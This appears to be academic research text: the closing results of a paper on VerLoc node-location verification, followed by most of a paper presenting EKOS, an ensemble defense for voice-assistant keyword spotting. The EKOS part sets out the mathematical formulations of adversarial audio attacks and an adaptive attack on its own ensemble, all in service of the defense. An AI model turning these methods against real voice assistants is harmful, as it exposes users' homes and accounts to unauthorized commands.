the city center for the latitude and longitude of a node. Further-
more, we have no access to ground truth information to check
the correctness of the self-reported location. To compensate
for this, we compare the city-level information provided by
the node operators with the GeoIP information related to the
IP addresses of the nodes. Although this does not provide us
with a trusted set of locations, it provides a sanity check and
a general idea of the quality of the self-reported data.

In total, we test 1395 nodes of our real-world data set. This
set represents the number of European nodes for which we
successfully fetched GeoIP8 information. In this comparison,
the median location error for all nodes, i. e., the distance be-
tween the GeoIP and the self-reported location is 7.11 km
with a mean of 364.47 km. To account for the outliers, we
then identify all nodes where the self-reported country and
the GeoIP country contradict each other. In total we find 126

8We use the Maxmind GeoLite 2 City data base, last updated on Sep 09
2021
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(9.03 %) with conflicting countries. The median location error
here is 1238 km with a mean of 3270 km.

Finally, we revisit the results of the prototype evaluation
to identify possible sources of noise leading to verification
failures. To this end, we focus on two main characteristics.
First, we check for inconsistencies in the self-reported and
GeoIP locations. Second, we look for VerLoc decisions in
which a majority of slow timing measurements influenced the
confidence score. We do so for both accepted and rejected
nodes. Out of 32768 nodes in total (tested in 64 random
repetitions), 26993 (82.38 %) nodes were accepted and 5775
(17.62 %) were rejected. Out of the rejected, 1664 (28.81 %)
had a conflicting GeoIP location, and 3448 (59.71 %) used
measurements of which a majority (more than 80 %) was
unexpectedly slow. At the same time, only 832 (3.08 %) of all
accepted nodes had a conflicting GeoIP location. Please note
that these results can only represent a snapshot. Repeated runs
of VerLoc allow to monitor node localization and verification
over time in order to better assess whether a node is truthfully
reporting its location. A node that consistently fails location
verification should therefore appear as more suspicious than
one that occasionally fails due to slow measurements. Such
longitudinal analysis approach is however out of scope for
the current version of VerLoc.
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Abstract
Voice assistants rely on keyword spotting (KWS) to process

vocal commands issued by humans: commands are prepended
with a keyword, such as “Alexa” or “Ok Google,” which must
be spotted to activate the voice assistant. Typically, keyword
spotting is two-fold: an on-device model first identifies the
keyword, then the resulting voice sample triggers a second
on-cloud model which verifies and processes the activation.
In this work, we explore the significant privacy and security
concerns that this raises under two threat models. First, our
experiments demonstrate that accidental activations result in
up to a minute of speech recording being uploaded to the
cloud. Second, we verify that adversaries can systematically
trigger misactivations through adversarial examples, which ex-
poses the integrity and availability of services connected to the
voice assistant. We propose EKOS (Ensemble for KeywOrd
Spotting) which leverages the semantics of the KWS task
to defend against both accidental and adversarial activations.
EKOS incorporates spatial redundancy from the acoustic en-
vironment at training and inference time to minimize distri-
bution drifts responsible for accidental activations. It also
exploits a physical property of speech—its redundancy at dif-
ferent harmonics—to deploy an ensemble of models trained
on different harmonics and provably force the adversary to
modify more of the frequency spectrum to obtain adversarial
examples. Our evaluation shows that EKOS increases the cost
of adversarial activations, while preserving the natural accu-
racy. We validate the performance of EKOS with over-the-air
experiments on commodity devices and commercial voice
assistants; we find that EKOS improves the precision of the
KWS task in non-adversarial settings.

1 Introduction

Voice assistants (VAs) interpret voice commands from their
users to assist in different tasks, access services, and control
smart devices. A typical voice assistant continuously sam-
ples audio through its microphone to detect a user saying a
keyword, such as “Alexa,” “Siri,” or “Google.” This process,
referred to as Keyword Spotting (KWS), serves as the primary
access control to an active voice assistant. Once it detects the
wake keyword, the voice assistant streams the subsequently
recorded audio to be analyzed as a voice command.

The Keyword spotting (KWS) task is a two-stage process
spanning the device and cloud: a local on-device model first
detects the keyword and sends a speech segment to the cloud,
which verifies the keyword and processes the accompanying
command [53]. Verification is necessary since on-device mod-
els are typically less accurate; they are optimized to minimize
their compute footprint and latency of predictions [13,44,55],
whereas the cloud model can be a full-fledged natural lan-
guage model with higher precision.

In this paper, we find that unauthorized accidental activa-
tions due to poor precision of the on-device KWS model can
lead to significant privacy violations with up to a minute of
private speech being uploaded to the cloud. In addition, ad-
versaries, who wish to get unauthorized access to the private
VA, may systematically trigger such unauthorized activations
with adversarial examples. This adversarial activation puts the
device integrity and the user’s security at risk, given the nu-
merous appliances and services connected to voice assistants
(e.g., garage door, lights, and credit cards) [15, 35, 45].

As the entry point for any interaction with the VA, improv-
ing the precision of on-device KWS directly limits the extent
of private conversations leaked to the cloud and reduces the
attack surface available to adversaries. Existing defenses to
these problems rely on generic machine learning approaches,
such as adversarial training [38]. Such approaches typically
harm the natural accuracy—an unacceptable proposition for
VAs—or fail to provably increase the cost of an adversary
launching an over-the-air attack. Other approaches employ
liveness detection mechanisms [3] that potentially introduce
additional privacy problems and do not address the accidental
activations problem. In short, this paper considers the question
of how to improve the robustness of KWS against accidental
and adversarial activations while preserving its precision?

In this paper, we design, implement, and evaluate EKOS
(Ensemble for KeywOrd Spotting) as an affirmative answer
to the above question. EKOS leverages the semantics of the
KWS task to arrive at a more favorable tradeoff between the ro-
bustness and precision of the KWS model. First, EKOS incor-
porates spatial diversity from the acoustic environment at both
training and inference time to minimize distribution drifts
responsible for accidental activations. Second, it exploits a
physical property of speech—its spectrum redundancy—to
deploy an ensemble of models trained on different harmonics.
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It provably forces the adversary to modify more of the fre-
quency spectrum to obtain successful adversarial examples.

Modeling distribution drifts responsible for accidental ac-
tivations is challenging because the physical environment
evolves constantly. EKOS addresses this issue by exploit-
ing the natural randomness from the physical environment
(such as room impulse responses) and ensembling other voice-
aware devices available in the vicinity of the virtual assistant.
In particular, EKOS performs KWS with an ensemble of mod-
els, each served by a device with varying internal sensors,
hardware, and channel from the user. EKOS uses the diver-
sity ensuing from the ubiquity of smart devices in a given
environment, such as tablets, computers, and smartphones,
to improve the precision of the KWS task by combining the
detection results from these devices.

Improving robustness to adversaries is more challenging
because they can still overcome ensembles of models [27,59],
especially when the feature space is common to all models.
EKOS addresses this challenge by utilizing the redundancies
in speech signals and properties of the KWS task. A speech
signal carries replicas of the same content (i.e., a word) at
different frequency components: harmonics. It is thus possi-
ble to slice the signal’s spectrogram into different slices and
assign each slice to a different model without much impact on
the natural accuracy. We design these slices and architectures
to exhibit poor transferability. Further, EKOS randomizes the
slice-architecture combinations in the ensemble at run-time.
This approach increases the cost of an adversary because they
now have to perturb a majority of the frequency slices before
they can control the predictions of the ensemble.

In summary, our contributions are as follows:

1. We show that privacy leakage is greater than previously
believed when on-device models send private conversa-
tions to the cloud due to accidental activations. Previous
analysis [23] reported misactivations resulting in 10 sec-
onds of speech being leaked; our evaluation shows that
some misactivations lead to up to a minute of speech
leaking to the cloud (Sec. 6.2.3 — Fig. 7).

2. We design an ensemble of KWS detectors that can run
on distributed devices in an environment. This ensemble
leverages the semantics of the KWS task, the properties
of the audio channel, and the nature of the speech signal
to introduce real diversity to the prediction task (Sec. 5).

3. Our end-to-end evaluation shows that an ensemble
of three to five devices, with random slicing and ar-
chitectures, increases the cost of adversarial attacks
(Sec. 6.1.3, 6.2.4). At the same time, EKOS preserves
the natural accuracy, approximating the baseline accu-
racy and has little performance overhead (Fig. 3, 5). We
validate the performance of EKOS with over-the-air ex-
periments on commercial devices; we find that EKOS im-
proves the precision of the KWS task in non-adversarial
settings (Sec. 6.1.2, 6.2.3).

4. We generate and release1 a dataset of the Amazon Echo’s
wake keywords: {Alexa,Computer,Amazon,Echo}. We
use this dataset to validate EKOS robustness on Ama-
zon’s Echo devices. The same methodology can be fol-
lowed for other commercial devices and keywords.

2 Background on Keyword Spotting

The KWS task is responsible for detecting a set of prede-
fined keywords in an audio stream. Typically, the VA’s micro-
phone(s) capture the over-the-air audio stream. Then, the VA
performs audio pre-processing and KWS classification.

Physical Environment. When an audio signal is transmit-
ted over-the-air, the signal reflects off the room walls and the
objects in the room. The received signal at a microphone is
the sum of the line-of-sight and reflected audio copies, known
as reverberations or echo, as shown in Fig. 1. The reverbera-
tion can be modeled via a room impulse response (RIR) h(t),
and the received signal is the convolution of the transmitted
audio and the RIR, r(t) = s(t)∗h(t), where h(t) depends on
the speaker and microphone locations, the room dimensions,
objects, and the materials absorption factors. Hence, h(t) is
unique per every room and speaker-microphone setup.

Feature Extraction. The mel-frequency cepstrum coeffi-
cients (MFCC) are the conventional features used for speech
recognition tasks including ASR and KWS; they reduce the
dimensionality of an audio signal, r(t), to a 2D temporal-
spectral map. The MFCCs are computed as follows [40]: (1)
divide r(t) into short time frames (20–40ms); (2) compute
the short-time Fourier transform (STFT) of these frames; (3)
map the STFT linear frequency scale to the mel-scale using a
mel-spaced filterbank. The mel-scale approximates the human
auditory system as it applies more (fewer) filters in the low
(high)-frequency range; (4) take the log of the power; and (5)
apply the discrete cosine transform (DCT). The MFCCs are
the coefficients of the resultant spectrum at each time frame.

Classification. The KWS task employs a multi-class model
f (·) to classify an input audio r(t) as a label corresponding
to the detected keyword, with the “unknown” label for non-
keyword speech. The model consists of three components: (1)
extracting MFCC features from r(t), (2) feeding the MFCCs
to a deep neural network (DNN), and (3) computing an aver-
age score of the individual frames’ posterior scores to report
the keyword score. Earlier research on KWS considered DNN
architectures which treated MFCCs as 2D features [48, 58].

Choi et al. [16] were the first to treat the MFCCs as a 1D
time signal, where the frequency coefficients are the input
channels. They proposed TC-ResNet, a temporal convolution
residual network architecture. The 1D temporal convolution
reduces the feature map size and has a large receptive field

1github.com/wi-pi/EKOS
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since the filter covers the whole range of frequencies (chan-
nels). It achieves better performance at a smaller number of
parameters and computations, hence, lower latency. We utilize
these architectures in the design of EKOS.

3 Background on KWS Misactivations

The KWS performance is crucial for the VA’s user experi-
ence [46]. A near-optimal true-positive rate is essential for
the device’s responsiveness and utility. On the other hand, a
KWS misactivation compromises the user’s privacy and the
VA’s integrity. A misactivation takes place when the VA is
activated by an unauthorized command, i.e., a sound that is
not the correct keyword. In this work, we consider two types
of misactivations: accidental and adversarial activations.

3.1 Accidental Activations

An accidental activation happens when the KWS model mis-
takenly interprets a sound that is not the keyword as a positive
activation, i.e., a false-positive detection. In such a case, the
VA inadvertently records the user’s private conversations and
sends them to the cloud for transcription and execution.

The privacy threats stemming from having an always lis-
tening microphone in private spaces have been extensively
studied [1, 9, 12, 24, 37, 39, 66]. Recently, two studies [23, 53]
performed a comprehensive analysis of the accidental ac-
tivation triggers on a variety of VA devices and keywords.
They use TV shows, newscasts, and speech datasets to locate
phrases that accidentally trigger each VA. Dubois et al. [23]
observed 0.95 misactivations per hour, where they identified
some activations lasting for at least 10 seconds. Likewise,
Schönherr et al. [53] located hundreds of accidental activa-
tions in the evaluated media. They observe that the cloud-
based KWS verification model reduces the number of local
misactivations. Yet, more than half of the evaluated triggers
still incorrectly activate the cloud’s model. Moreover, they
created a dataset of more than 1000 English n-gram phrases
that are phonetically similar to the commercial keywords;
these phrases are likely to cause misactivations. Both studies
noted that the VA’s operation is non-deterministic; it is hard
to predict when a device may be accidentally activated.

3.2 Adversarial Activations

As far as their integrity2 is concerned, KWS models are vul-
nerable to inference time adversarial examples [26,57], where
an adversary constructs imperceptible commands hidden in a
non-suspicious audio utterance, such as music or a YouTube
video, to wake up and interact with the VA [15, 45, 52].

2We note that integrity is not the only property adversaries may target. At-
tackers also jeopardize the availability of the ML system, as shown in recent
work on the presence of adversarial music [35] or Sponge Examples [54].

Given an audio signal r(t), and a KWS model F(·), the
attacker’s objective is to find a small perturbation δ, such that
F(r(t)+ δ) = y, where y is the target keyword that triggers
the VA. We refer to this attack as an adversarial activation.

Adversarial Examples on Audio. Carlini and Wagner [11]
constructed a targeted white-box attack on the neural ASR
system, Deep Speech. The attack is digital; i.e., it does not
consider a physical channel and assumes the audio stream is
directly fed to the model. The attack optimizes this objective:

min `(F(s+δ), y) + α · ‖δ‖∞ s.t. ‖δ‖∞ < ε, (1)

where s is the input to the neural network f (·), δ is the per-
turbation, y is the target label, ` is the loss function, ε is the
attack budget which bounds the maximum added perturba-
tion, and α is a hyperparameter; the adversarial example is
s′(t) = s(t)+ δ. The authors choose ` to be the CTC (Con-
nectionist temporal classification) loss and use the max-norm
(‖ · ‖∞) which has the effect of adding a small perturbation
consistently throughout the utterance samples. This attack,
however, is against ASR, not KWS; both ASR and KWS have
similar preprocessing pipelines involving MFCCs, but the
task solved by each model is different.

The adversarial example s′(t) constructed with Eq. 1 is
neither completely imperceptible nor effective over-the-air.
The former requires that s′(t) sounds very similar to s(t) to
a human listener. The latter requires that F(s′(t)∗h) = y for
any h, where h is the physical environment room impulse
response (RIR) (Sec. 2). Following this initial attack, recent
works have focused on solving these two challenges.

Imperceptibility. Schönherr et al. [52] examine a different
bound on the perturbation that better addresses the human
auditory system perception. They propose psychoacoustic
masking, as in MP3 encoding, to hide the perturbations around
the original speech frequency components, where they are
barely perceptible to humans. However, their attack assumed
a perfect channel; i.e., it is not robust over-the-air.

Over-the-air Robustness. Adversarial examples are not ro-
bust in the physical world when the input signal is subject to
environmental variations (transformations)—as initially ob-
served in vision [5]. The adversary can adapt by considering
the distribution of possible transformations, and optimizing
the perturbation over the Expectation over Transformation
(EoT) [5], such that the resulting perturbation transfers across
these transformations on average. Qin et al. [45] and Schön-
herr et al. [52] apply EoT to the acoustic domain to capture
room reverberation. They convolve the audio signal with RIR:

min E
h∼H

[`(F((s+δ)∗h), y)] + α · ‖δ‖p s.t. ‖δ‖p < ε,

(2)
where H is the RIR distribution of the possible room dimen-
sions, and speaker and microphone locations.
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4 System and Threat Models

System Model. We assume the VA to exist in an environ-
ment that contains a set of trusted devices, such as smart-
phones, computers, and tablets. Each device has at least one
microphone, a network interface, and computing capabili-
ties. We believe these assumptions are realistic about the
households or spaces with a VA. As in any realistic setting,
these devices are randomly located within the environment,
experiencing random acoustic channels, and have inherent
hardware variations, as shown in the setup at Fig. 1 (left). The
user deploys EKOS by installing an app on their microphone-
equipped devices. The app runs in the background, reads the
microphone, performs KWS, and communicates with the VA.

Threat Model. We consider two independent threat vectors
that result from false VA activations due to the KWS model’s
imperfections. Both vectors are different in the adversary defi-
nition, attack implementation, and the subsequent privacy and
security violations. We do not suggest that the same adversary
can execute both threat vectors; yet, both threats are enabled
by the same vulnerability: a false VA activation.

The first threat vector covers a remote and passive adver-
sary with access to the VA’s recordings once they are uploaded
to the cloud. Because of imperfections of KWS models, the
VA can be accidentally triggered, causing it to record conver-
sations not intended as commands. Although the cloud has
access to the users’ legitimate commands, accidental activa-
tion poses real privacy threat [46, 53]. Under a legitimate acti-
vation, the user is aware that their commands will be recorded
and uploaded to the cloud. Detecting the legitimate keyword
forms an implicit consent to be recorded. However, in the case
of accidental activation, the recorded conversations are pri-
vate; the users are unaware and did not approve the recording.
The privacy concerns stem from the content of the private con-
versation, the context, and the background noise. Under this
setting, the user’s privacy can be compromised in different
ways: (1) the cloud uses these recordings to train ML mod-
els [43,49], these models can memorize the training data [10];
(2) an adversary compromises the cloud servers and leaks
such conversations [8, 19, 65]; or (3) third-party transcription
contractors or law enforcement agencies can potentially have
access to the private recordings [21, 36, 61].

The second threat vector covers a remote and active adver-
sary who activates the VA with imperceptible perturbations
hidden in a non-suspicious audio utterance, e.g., music. This
adversary can remotely trick the user into playing audio from
a TV, YouTube, or SoundCloud, which embeds the impercep-
tible perturbation – scaling the attack to many users. Prior
research has demonstrated the feasibility of generating ad-
versarial samples in the form of inconspicuous background
music [15, 35]. Once the VA is activated, the adversary can
push commands to activate malicious skills or interact with
physical devices in the user’s environment. Such adversarial
activation puts the device’s integrity and user’s security at risk

given the numerous services and appliances connected to the
VA (e.g., garage door, bank accounts). We consider a white-
box attacker who has access to the KWS model parameters
as well as EKOS’s setup internals. This adversary can launch
adaptive attacks in an attempt to circumvent EKOS. Note that
the adversary has no physical access to the VA; otherwise, the
adversary can interact with the device using their own voice
without the need to launch adversarial perturbations.

Threat vectors that directly attack the microphone interface,
such as ultrasound [47, 67] and laser attacks [56], are outside
the scope of this work as they are not based on false activations
of the VA. Our work is orthogonal and can compose well with
approaches to defeat these other threats [7, 62]. In Sec. 7, we
discuss how EKOS can address these threats.

5 EKOS: Ensemble for KeywOrd Spotting

5.1 High-level Overview
EKOS comprises two components: a machine learning-based
component (ensemble learning) to improve the robustness
of the KWS task against accidental activations, and a signal
processing-based component (feature slicing) to handle ad-
versarial examples against KWS.

Fig. 1 illustrates the high-level operation (left) and the
processing pipeline of EKOS (right) at each device. EKOS
deploys diverse keyword spotting models on a set of com-
modity devices, such as smartphones, smart TVs, laptops, and
edge devices, and combines their decisions to improve the
overall classification performance, a technique known as en-
semble learning. EKOS views the output of each model as an
independent random variable (vote) specifying the identified
keyword from the input audio. All devices run a lightweight
webserver and are connected to the same wireless network.
The ensemble integration happens as follows: (1) the main
VA (server) listens continuously; it initiates the KWS vote
collection from the other devices (clients) upon detecting a
keyword; (2) the main VA issues parallel requests to the client
devices and waits for their response; (3) each client device
buffers its microphone signal and waits for an inference re-
quest; (4) upon receiving one, it runs its KWS model and
returns the predicted hard label; and (5) the main VA outputs
the final prediction through a majority vote mechanism.

Accidental Activations. A key point to harvest the gain of
ensemble learning is to ensure (as much as possible) that the
models’ errors are uncorrelated [22, 60]; a voting mechanism
in such a case would reduce the false positive rate responsible
for accidental activations. EKOS satisfies this condition by
introducing different levels of diversity at the model design
and the received input signal.

EKOS processes speech samples using a set of l KWS
models. We introduce diversity into the models decisions
by selecting different architectures and hyperparameters for
each model (Sec. 5.3). EKOS allows this KWS ensemble to
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Figure 1: EKOS Overview. Left: High-level operation. Right: Details of the signal processing pipeline at the device. Step (1) is
the spoken speech signal, step (2) is the received signal after experiencing the acoustic channel, step (3) is applying a random
feature slicing filter, step (4) is passing the filtered signal through a randomly chosen architecture, step (5) refers to sending the
decisions from individual devices to the VA, and step (6) is the final ensemble output of a majority vote.

be either centralized in the VA or distributed over a set of
N smart devices existing in the environment. These devices
experience different acoustic propagation channels and have
inherent hardware diversity. Hence, they capture uncorrelated
samples of the audio stream [29].

Adversarial Examples. In its second component, EKOS
leverages diversity from the feature space and the environ-
ment to increase the cost of generating adversarial examples
against KWS. EKOS decomposes the speech spectrum into a
set of possibly overlapping spectrum slices (feature slicing
in Sec. 5.2). Because of the nature of the speech signal, the
spectrum slices contain harmonics that encode replicas of
the speech content. These frequency components, however,
undergo different transformations as they travel across the
physical channel. As a result, each spectrum slice is useful in
identifying keywords found in speech but requires the adver-
sary to inject a perturbation specific to this spectrum slice.

Ensemble devices behave independently at run-time; each
device chooses a subset of spectrum slices at random. Then,
it passes the slice into a randomly chosen architecture (ran-
domized ensemble in Sec. 5.3). Each model assigns the slice
with a classified keyword and relays its label to the VA.

The robustness in this approach arises from three insights
related to the classification of audio signals. First, the channels
are spatially independent; the adversary has to account for
more transformations in generating the adversarial examples.
As specified in Sec. 3.1, an adversary uses the expectation over
transformation technique to generate adversarial examples
that are adaptive to this defense, where each transformation
represents a simulated channel. Having a set of simultaneous
independent channels constrains the attacker’s optimization
problem further; the result is a less optimal (larger) perturba-
tion (Sec. 6.1.3). Second, adversarial examples in the audio
domain have poor transferability properties; an adversarial
example optimized for a slice-architecture combination does
not transfer easily to other combinations. This insight is sup-

ported by previous results about the transferability of audio
adversarial examples [2], as well as our results presented later
in Sec. 6 and Fig. 10. Third, EKOS chooses the slices and ar-
chitectures randomly at run-time, which forces the adversary
to cover more slice-architecture combinations to ensure a suf-
ficiently large probability of attack success. In the following,
we discuss EKOS’s feature slicing and randomized ensemble.

5.2 Feature Slicing

The feature slicing in EKOS applies bandpass filters to the
speech spectrogram to select frequency slices. EKOS lever-
ages a key property of audio signals: they carry replicated
information across the different frequency bands. This in-
formation content, however, is not uniform; bands in lower
frequencies contain more information than bands in the higher
frequency range. This insight forms the basis for the MFCCs,
which perform non-linear mel-scaling of bands as inspired
by the human auditory system [40]. In EKOS, we follow a
similar methodology; we define six bandpass filters, three at
the lower end of the spectrum spanning the bands: (1)-[0Hz,
750Hz], (2)-[700Hz, 1700Hz], (3)-[1650Hz, 2900Hz], and an-
other three at the higher end of the spectrum: (4)-[2850Hz,
4350Hz], (5)-[4300Hz, 6050Hz], (6)-[6000Hz, 8000Hz]. No-
tice that the bandwidth of the filters increases linearly from
750Hz to 2000Hz with 250Hz increments. These bandpass
filters are the building blocks of the feature slicing filters.

The design of these filters involves two tradeoffs between
natural and adversarial robustness. The first tradeoff is the
width of the filter. A set of narrow filters force the attacker to
add the perturbation in more concentrated frequency regions,
making it harder to hide imperceptible perturbations [45] – at
the cost of reduced natural accuracy. The bandwidth has to
be wide to capture more content of the speech signal.

The second tradeoff concerns the overlap between the fil-
ters. If filters overlap to the extent that they all share a com-
mon frequency band, the attacker’s strategy would be to target
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this single shared band, resulting in a single perturbation that
transfers across all the filters; the attacker’s optimization func-
tion resolves to a single objective as in Eqn. 3. On the other
hand, if the filters have no overlap, the number of possible
filters will be limited. Moreover, the attacker can target such
mutually exclusive bands separately, where the final perturba-
tion is the sum of the individual perturbations. Hence, it leads
to less robustness and randomness in the EKOS ensemble.

As such, we design the set of filters G such that each
feature slicing filter g ∈ G includes two bandpass filters, one
chosen from the set of lower bands (filters 1, 2, and 3) and
the other chosen from the set of higher bands (filters 4, 5, and
6). This design results in G comprising nine combinations
{(1,4),(1,5),(1,6),(2,4),(2,5),(2,6),(3,4),(3,5),(3,6)}.
Any single band is repeated only three times across the
filters set G. Hence, g = w[sl ,el ] +w[sh,eh], where w is a
rectangular window function, sl , el are the low-frequency
window start and end frequencies, and same for sh, eh for the
high-frequency window. This design balances the amount
of information passed by each slicing filter and intentionally
adds overlap between the filters without sharing any single
band among all of them. We show later (Sec. 6.1.3) that
the designed filters preserve the model’s natural accuracy
and provide feature space diversity such that their ensemble
accuracy approximates the baseline accuracy.

5.3 Runtime Ensemble

In an environment with N devices, the user’s speech signal
s(t) travels over a set of channels hi(t); each device di receives
a signal ri(t) = s(t)∗hi(t). A device di has access to the set of
G filters as defined in Sec. 5.2 and a set F = {Fk| 1≤ k≤ K}
of architectures, where K is the number of baseline KWS
architectures. We refer to Fj,k as the architecture Fk trained
after applying filter g j. Each device can run one or a subset
of KWS models simultaneously based on its processing capa-
bilities, the availability of other devices, and the user’s pre-
ferred level of privacy and utility (Sec. 7). The device chooses
randomly a subset Gi ⊆ G frequency filters. It applies each
gi, j ∈Gi to ri resulting in a set of signals ri, j(t) = ri(t)∗gi, j(t).
Then, the device assigns each ri, j(t) a random architecture
Fk ∈ F ; each model outputs fi, j = Fj,k(ri, j(t)), where fi, j in-
dicates the output class (keyword). Each device di sends the
set { fi, j|1 ≤ j ≤ |Gi|} to the VA for the final decision. The
VA receives a set of l decisions from all the devices, such that
l = ∑

N
i |Gi|. It performs majority voting by choosing the class

with the highest number of votes.
We exhaustively searched through the models trained over

slice-architecture combinations to ensure adversarial exam-
ples have low transferability. Fig. 10, in Appendix, shows
that these models exhibit poor transferability. We conjecture
that reducing the overlap between the filters in G contributes
to this observation. This poor transferability is an important
property for EKOS’s robustness, as discussed in Sec. 5.4.

An adaptive attack can target the ensemble models simulta-
neously [27, 59] given a higher perturbation budget. Thus, we
introduce inference time randomization to EKOS’s operation:
we randomize the slice-architecture combination. At each
Ti interval, each device i randomly selects a frequency filter
subset Gi ⊆G and assigns each filter gi, j ∈Gi a random archi-
tecture Fk ∈ F , where Ti is independently set by each device.
Hence, the slice-architecture combinations independently and
randomly change every Ti.

Finally, EKOS design is flexible and can be optimized to-
wards a customized utility-robustness level. The user has the
option not to apply the feature slicing prior to the ensemble.
In such a case, EKOS does not apply the randomized feature
and architecture selection. It just passes the received signal at
each device to a model Fi and aggregates the decisions at the
VA. This mode improves the KWS accuracy against accidental
activations but not against adversarial activations. Moreover,
the user sets EKOS’ hyperparameters, such as N, l, K, and
|Gi|, to optimize the computational overhead (Sec. 7).

5.4 Robustness Properties
The robustness of EKOS arises from the increase in the at-
tacker’s cost. The original attack requires optimizing over a
single constraint to force a label y, such that:

min||δ||p, s.t. E
h∼H

[F ((s(t)+δ)∗h(t)∗g(t))] = y, (3)

where h ∼ H is a random variable describing the channel
between the speaker and possible devices.

Introducing the ensemble of slice-architecture combina-
tions, and assuming the attacker knows the chosen slices and
architectures, the attacker’s optimization objective comprises
multiple constraints. Without loss of generality, assume that
each device di runs a single model Fj,k for a specific filter gi, j.
The attacker’s objective can be represented as:

min‖δ‖p s.t.(
E

h0∼H

[
Fj,k ((s(t)+δ)∗h0(t)∗g0, j(t))

]
= y

. . .

∧ E
hl/2∼H

[
Fj,k

(
(s(t)+δ)∗hl/2(t)∗gl/2, j(t)

)]
= y

)
.

(4)

Because of majority voting, the attacker has to satisfy a set
of l/2+ 1 constraints to control the ensemble output. Intu-
itively, this optimization problem is more constrained and will
result in a larger perturbation compared to the less constrained
problem of one slice-architecture combination. This property,
however, only holds when gradients of the constraints are lin-
early independent. Otherwise, the same perturbation may be
able to force models trained on two or more spectrum slices
to misclassify when these models’ gradients are linearly de-
pendent. In EKOS, we encourage gradients to be linearly
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independent with diverse architectures and by designing the
filters to have little overlap (Sec. 5.3).

EKOS randomizes the slice-architecture selections at run-
time to increase the cost of the attack. Given a set of M pos-
sible channel-slice-architecture combinations, the adversary
has to attack the M combinations simultaneously to overcome
the randomized ensemble and guarantee attack success, pro-
vided that poor transferability properties hold. This introduces
a tradeoff between the attack success and the perturbation size.
The attack success increases when the attacker covers more
channel-slice-architecture combinations at the cost of con-
straining the optimization problem further. We evaluate the
effect of inference time randomness on the attack in Fig. 5.

6 Evaluation

We evaluate EKOS in two scenarios: through (1) end-to-end
open-source (white-box) models (Sec. 6.1) in a simulated
environment and a physical over-the-air environment, and
using (2) black-box commercial VAs (Sec. 6.2). We design
the evaluation in each scenario to answer these questions:

1. Q1: Does EKOS reduce the accidental activation in-
stances? – Sec. 6.1.2, 6.2.3.

2. Q2: Does EKOS increase the cost of generating an adap-
tive adversarial activation attack? – Sec. 6.1.3, 6.2.4.

3. Q3: What is the performance overhead of EKOS in terms
of natural accuracy and latency? – Sec. 6.1.3, 6.1.4.

6.1 Open-Source Models
We implement EKOS on open-source models and datasets.

6.1.1 Experimental Setup

Keyword Spotting. We use Google’s Speech Commands
dataset [63] for training and testing KWS models. The dataset
consists of approximately 65,000 one-second long utterances
of 30 short words, from thousands of different speakers. Sim-
ilar to prior work, we select 12 labels: {yes, no, up, down,
left, right, on, off, stop, go, silence, unknown} [16, 58]. We
split the data into: 80% training, 10% validation, and 10%
testing (3081 samples). We use Choi et al.’s implementation
of the dense (DS-CNN), 1D temporal ResNet (TC-ResNet),
and 2D ResNet (TC-ResNet2D) models [16], which achieve
the highest accuracy with a reduced inference time.

Simulated Environment. We simulate the over-the-air
channel using Pyroomacoustics [51] python package3. This
package implements the image-source model [4] to calculate
the acoustic reverberation and generate the room impulse re-
sponse (RIR). We generate 1000 unique RIR samples where
the room dimensions, speaker, and microphones locations are

3github.com/LCAV/pyroomacoustics

drawn uniformly at random. During audio pre-processing, we
apply background noise, RIR convolution, and random shift
to the speech samples to approximate real-world scenarios.

Over-the-air Environment. In the physical setup, we eval-
uate EKOS on a set of commodity devices with varying back-
ground noise. We deploy EKOS on six devices (D1–D6): a
MacBook Pro laptop, an iPad tablet, a Dell PC with a high-
quality directional microphone (Blue Snowball)4, a Dell lap-
top, a Google Pixel XL phone, and a Google Pixel 2 XL phone.
The devices are distributed in a lab space (14.2x7x3.8m). All
devices run a lightweight webserver and are connected to the
same wireless network. The PC is the main VA (server): it
requests and aggregates votes from other devices (clients).

We use two Echo Dot devices as Bluetooth speakers; the
first plays the keywords and the second plays background
noise at half the volume. We evaluate four background scenar-
ios: (1) noise naturally found in the lab, including a humming
AC, keyboard typing, and mouse click sounds; (2) popular En-
glish songs (music & speech); (3) Google Commands dataset
noise files that include doing the dishes, biking, running water,
miaowing, white and pink noise; and (4) classical music5.

Attack against a single model. We build on Qin et al.’s im-
plementation6 [45] for imperceptible and over-the-air robust
adversarial examples on ASR (Sec. 3.2). Note that this attack
is robust only on simulated environments. In contrast with
ASR, which involves sequence-to-sequence modeling, KWS
is a single word classification task. Thus, we simply apply the
cross-entropy loss (instead of the CTC loss) with a regularizer
for either robustness or imperceptibility.

Attack against an ensemble. Alongside attacks on indi-
vidual models, we evaluate an adaptive attacker. We consider
the strongest possible threat model, where an adversary has
full access to the ensemble details. This adversary targets
EKOS ensemble as a whole: it calculates the overall loss by
summing the predicted logits (i.e., the scores assigned to each
class) across the ensemble models on the input to be attacked.
Then, the attack is optimized directly on this combined loss.

6.1.2 Accidental Activation Evaluation

First, we evaluate EKOS’s performance against accidental
activations and compare it to the baseline (single KWS model)
performance. Therefore, we exclude the feature slicing com-
ponent from EKOS’s pipeline in this experiment.

Simulated Evaluation. We evaluate an ensemble of l mod-
els, where each model experiences a unique channel (RIR).
We evaluate two scenarios: (1) the same architecture is de-
ployed on all l models, and (2) each model independently

4bluemic.com/en-us/products/snowball/
5youtube.com/watch?v=y1dbbrfekAM
6github.com/tensorflow/cleverhans/tree/master/examples/adversarial_asr
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Architecture BL l = 1 l = 3 l = 4 l = 5

DS-CNN-M 94.61 82.53 ± 1.63 84.31 ± 1 83.95 ± 0.85 84.12 ± 0.81
TC-ResNet14 96.43 91.74 ± 1.9 93.71 ± 1.34 93.43 ± 1.12 94.13 ± 0.97
TC-ResNet2D8 96.85 84.64 ± 1.74 86.27 ± 0.54 86.51 ± 0.87 86.97 ± 0.5
TC-ResNet8 96.50 92.99 ± 1.19 93.85 ± 0.74 94.57 ± 0.71 94.52 ± 0.43

Random Arch. – – 95.131 ± 0.81 94.606 ± 0.67 95.141 ± 0.93

Table 1: Accidental activation accuracy (%) (mean±std) of an ensemble
(of size l) in a simulated environment without enabling feature slicing.

Attack D1 D2 D3 D4 D5 l = 5

PGD 33.78 28.67 39.0 34.33 33.33 46.89
PGD_RIR 37.22 36.44 48.89 41.11 34.0 54.33

Table 2: Over-the-air adversarial accuracy (%) of
individual device and EKOS at l = 5 against PGD
and PGD with RIR attacks, 90 examples each.

Figure 2: Over-the-air accuracy (mean and std) of EKOS
against accidental activation for different background noises,
ensemble size (l), and architecture selection. EKOS outper-
forms individual devices (D1–D6) under all scenarios.

selects an architecture at random with replacement. We run
the evaluation 20 times to account for randomness.

